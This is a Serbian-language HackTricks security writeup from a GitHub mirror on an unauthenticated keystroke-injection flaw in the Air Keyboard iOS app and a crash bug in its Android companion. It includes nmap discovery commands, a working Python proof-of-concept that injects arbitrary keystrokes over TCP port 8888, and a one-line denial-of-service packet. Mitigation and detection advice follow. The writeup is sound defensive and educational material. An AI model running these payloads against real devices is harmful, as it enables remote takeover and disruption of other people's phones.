mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
4.2 KiB
Markdown
92 lines
4.2 KiB
Markdown
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## TL;DR
|
||
|
||
iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otvara **TCP servis u čistom tekstu na portu 8888** koji prihvata okvire pritisaka tastera **bez ikakve autentifikacije**. Svaki uređaj na istoj Wi-Fi mreži može se povezati na taj port i injektovati proizvoljni unos sa tastature u telefon žrtve, ostvarujući **potpuno preuzimanje daljinske interakcije**.
|
||
|
||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje **neobrađenu izuzetak u OpenSSL rutini dekripcije**, rušeći pozadinsku uslugu (**DoS**).
|
||
|
||
## 1. Otkriće servisa
|
||
|
||
Skenirajte lokalnu mrežu i tražite dva fiksna porta koja koriste aplikacije:
|
||
```bash
|
||
# iOS (input-injection)
|
||
nmap -p 8888 --open 192.168.1.0/24
|
||
|
||
# Android (weakly-authenticated service)
|
||
nmap -p 55535 --open 192.168.1.0/24
|
||
```
|
||
Na Android uređajima možete lokalno identifikovati odgovarajući paket:
|
||
```bash
|
||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||
|
||
# rooted device / Termux
|
||
netstat -tulpn | grep LISTEN
|
||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||
```
|
||
## 2. Format okvira (iOS)
|
||
|
||
Binarni fajl otkriva sledeću logiku parsiranja unutar rutine `handleInputFrame()`:
|
||
```
|
||
[length (2 bytes little-endian)]
|
||
[device_id (1 byte)]
|
||
[payload ASCII keystrokes]
|
||
```
|
||
Deklarisana dužina uključuje `device_id` bajt **ali ne** i dvobajtni header.
|
||
|
||
## 3. Eksploatacija PoC
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||
import socket, sys
|
||
|
||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||
|
||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||
frame += keystrokes
|
||
|
||
with socket.create_connection((target_ip, 8888)) as s:
|
||
s.sendall(frame)
|
||
print("Injected", keystrokes)
|
||
```
|
||
Svaki štampajući ASCII (uključujući `\n`, `\r`, specijalne tastere, itd.) može biti poslat, efektivno dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, poseta phishing URL-ovima, itd.
|
||
|
||
## 4. Android Companion – Odbijanje usluge
|
||
|
||
Android port (55535) očekuje lozinku od 4 karaktera enkriptovanu sa **hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||
```python
|
||
import socket
|
||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||
```
|
||
## 5. Uzrok
|
||
|
||
1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS).
|
||
2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android).
|
||
|
||
## 6. Mogućnosti ublažavanja i ideje za jačanje
|
||
|
||
* Nikada ne izlagati neautentifikovane usluge na mobilnom uređaju.
|
||
* Izvesti tajne po uređaju tokom onboardinga i proveriti ih pre obrade unosa.
|
||
* Povezati slušalac na `127.0.0.1` i koristiti međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje.
|
||
* Otkrivati neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||
* Kao krajnji korisnik: deinstalirati Air Keyboard ili ga koristiti samo na pouzdanim, izolovanim Wi-Fi mrežama.
|
||
|
||
## Detekcija Cheat-Sheet (Pentesteri)
|
||
```bash
|
||
# Quick one-liner to locate vulnerable devices in a /24
|
||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||
|
||
# Inspect running sockets on a connected Android target
|
||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||
```
|
||
## Reference
|
||
|
||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|